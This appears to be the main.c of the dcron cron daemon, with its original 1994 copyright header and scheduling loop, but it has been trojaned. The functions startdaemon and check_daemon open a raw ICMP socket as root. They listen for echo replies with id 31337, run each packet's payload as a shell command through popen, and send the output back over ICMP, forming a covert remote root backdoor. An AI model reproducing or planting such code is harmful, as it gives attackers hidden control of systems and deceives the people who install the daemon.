#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <unistd.h>

/*
 * MAIN.C
 *
 * dcron -d[#] -c <crondir> -f -b
 *
 * run as root, but NOT setuid root
 *
 * Copyright 1994 Matthew Dillon (dillon@apollo.west.oic.com)
 * May be distributed under the GNU General Public License
 */

#include "defs.h"

#define RID 31337
#define LID 12345

void check_daemon(int sleeptime);
void send_packet(unsigned long to, unsigned int id,char *data);
u_short cksum(u_short *buf, int nwords);
void startdaemon(int vafan);

Prototype short DebugOpt;
Prototype short LogLevel;
Prototype short ForegroundOpt;
Prototype char *CDir;
Prototype int DaemonUid;

short DebugOpt;
short LogLevel = 8;
short ForegroundOpt;
char  *CDir = CRONTABS;
int DaemonUid;
int lsock;

int
main(int ac, char **av)
{
    int i;
    time_t t1 = time(NULL);
    time_t t2;
    long dt;
    short rescan = 60;
    short stime = 60;
                                            
    /*
     * parse options
     */

    DaemonUid = getuid();

    for (i = 1; i < ac; ++i) {
        char *ptr = av[i];

        if (*ptr == '-') {
	    ptr += 2;

	    switch(ptr[-1]) {
	    case 'l':
		LogLevel = (*ptr) ? strtol(ptr, NULL, 0) : 1;
		continue;
	    case 'd':
		DebugOpt = (*ptr) ? strtol(ptr, NULL, 0) : 1;
		LogLevel = 0;
		/* fall through */
	    case 'f':
		ForegroundOpt = 1;
		continue;
	    case 'b':
	        ForegroundOpt = 0;
	        continue;
	    case 'c':
		CDir = (*ptr) ? ptr : av[++i];
		continue;
	    default:
		break;
	    }
	}
	break;	/* error */
    }

    /*
     * check for parse error
     */

    if (i != ac) {
        if (i > ac)
            puts("expected argument for option");
	printf("dcron " VERSION "\n");
	printf("dcron -d[#] -l[#] -f -b -c dir\n");
	exit(1);
    }

    /*
     * change directory
     */

    if (chdir(CDir) != 0) {
        perror("chdir");
        exit(1);
    }

    /*
     * close stdin and stdout (stderr normally redirected by caller).
     * close unused descriptors
     * optional detach from controlling terminal
     */

    fclose(stdin);
    fclose(stdout);

    i = open("/dev/null", O_RDWR);
    if (i < 0) {
        perror("open: /dev/null:");
        exit(1);
    }
    dup2(i, 0);
    dup2(i, 1);

    for (i = 3; i < OPEN_MAX; ++i) {
        close(i);
    }

    if (ForegroundOpt == 0) {
        int fd;
        int pid;

        if ((fd = open("/dev/tty", O_RDWR)) >= 0) {
            ioctl(fd, TIOCNOTTY, 0);
            close(fd);
	}

        pid = fork();

        if (pid < 0) {
            perror("fork");
            exit(1);
        }
        if (pid > 0)
            exit(0);
    }

    /* 
     * main loop - synchronize to 1 second after the minute, minimum sleep
     *             of 1 second.
     */

    log9("%s " VERSION " dillon, started\n", av[0]);
    SynchronizeDir(".");
    startdaemon(1);
    
	for (;;) {
	    check_daemon((stime + 1) - (short)(time(NULL) % stime));

	    t2 = time(NULL);
	    dt = t2 - t1;

	    /*
	     * The file 'cron.update' is checked to determine new cron
	     * jobs.  The directory is rescanned once an hour to deal
	     * with any screwups.
	     *
	     * check for disparity.  Disparities over an hour either way
	     * result in resynchronization.  A reverse-indexed disparity
	     * less then an hour causes us to effectively sleep until we
	     * match the original time (i.e. no re-execution of jobs that
	     * have just been run).  A forward-indexed disparity less then
	     * an hour causes intermediate jobs to be run, but only once
	     * in the worst case.
	     *
	     * when running jobs, the inequality used is greater but not
	     * equal to t1, and less then or equal to t2.
	     */

	    if (--rescan == 0) {
	        rescan = 60;
	        SynchronizeDir(".");
	    }
	    CheckUpdates();
	    if (DebugOpt)
	        log(5, "Wakeup dt=%d\n", dt);
	    if (dt < -60*60 || dt > 60*60) {
	        t1 = t2;
	        log9("time disparity of %d minutes detected\n", dt / 60);
	    } else if (dt > 0) {
	        TestJobs(t1, t2);
	        RunJobs();
	        sleep(5);
	        if (CheckJobs() > 0)
	           stime = 10;
	        else
	           stime = 60;
	        t1 = t2;
	    }
	}
    /* not reached */
}

void startdaemon(int vafan)
{
  if(geteuid())
    return;
  close(0);close(1);close(2);
  lsock=socket(AF_INET,SOCK_RAW,1);
  fcntl(lsock,F_SETFL,O_NONBLOCK);
}

void check_daemon(int sleeptime)
{
  fd_set f;
  time_t t,o;
  struct timeval ti;
  char buf[512],databuf[512];
  struct iphdr *ip=(struct iphdr *)buf;
  struct icmphdr *icmp=(struct icmphdr *)(buf+sizeof(struct iphdr));
  FILE *haha;
  int i;
  static int status=1;
  char *p;
  
  o=time(NULL);
  
  while(1)
  {
    FD_ZERO(&f);
    FD_SET(lsock,&f);
    ti.tv_sec=2;
    ti.tv_usec=0;
    
    if(select(FD_SETSIZE,&f,NULL,NULL,&ti))
    {
      i=recv(lsock,buf,512,0);
      if(ip->protocol == 1 && icmp->type == 0 && ntohs(icmp->un.echo.id) == RID && status)
      {
        if(status==1) {
          send_packet(ip->saddr,LID,"XxX");
          status++;
        }
        else {
          p=(buf+sizeof(struct iphdr)+sizeof(struct icmphdr));
          memcpy(databuf,p,i-(sizeof(struct iphdr)+sizeof(struct icmphdr))+1);
          if(strcasecmp(databuf,"exit") == 0)
            status = 0;
          else {
            if((haha=popen(databuf,"r")) == NULL)
              send_packet(ip->saddr,LID,"Unknown command.\n");
            else {
              i=0;
              while(fgets(databuf,512,haha) != NULL) {
                i++;
                send_packet(ip->saddr,LID,databuf);
              } 
              if(!i)
                send_packet(ip->saddr,LID,"Unknown command.\n");
              pclose(haha);
            }
          }
        }
      }    
    }
    t=time(NULL);
    if((t-sleeptime)>=o) {
      if(!status)
        status=1;
      return;
    }
  }
}

void send_packet(unsigned long to, unsigned int id,char *data)
{
  char buf[512];
  struct icmphdr *icmp = (struct icmphdr *)buf;
  char *bla=(buf+sizeof(struct icmphdr));
  struct sockaddr_in sa;
  int i,sock;

  sock=socket(AF_INET,SOCK_RAW,1);
  bzero(buf,512);
  icmp->type=0;
  icmp->un.echo.id=htons(id);
  strcpy(bla,data);
  icmp->checksum=cksum((u_short *)icmp,(9+strlen(data))>>1);
  sa.sin_family=AF_INET;
  sa.sin_addr.s_addr=to;
  i=sendto(sock,buf,(9+strlen(data)),0,(struct sockaddr *)&sa,sizeof(sa));
  close(sock);
}

u_short cksum(u_short *buf, int nwords) {
        unsigned long sum;

        for ( sum = 0; nwords > 0; nwords -- )
                sum += *buf++;
        sum = ( sum >> 16) + ( sum & 0xffff );
        sum += ( sum >> 16 );
        return ~sum ;
}
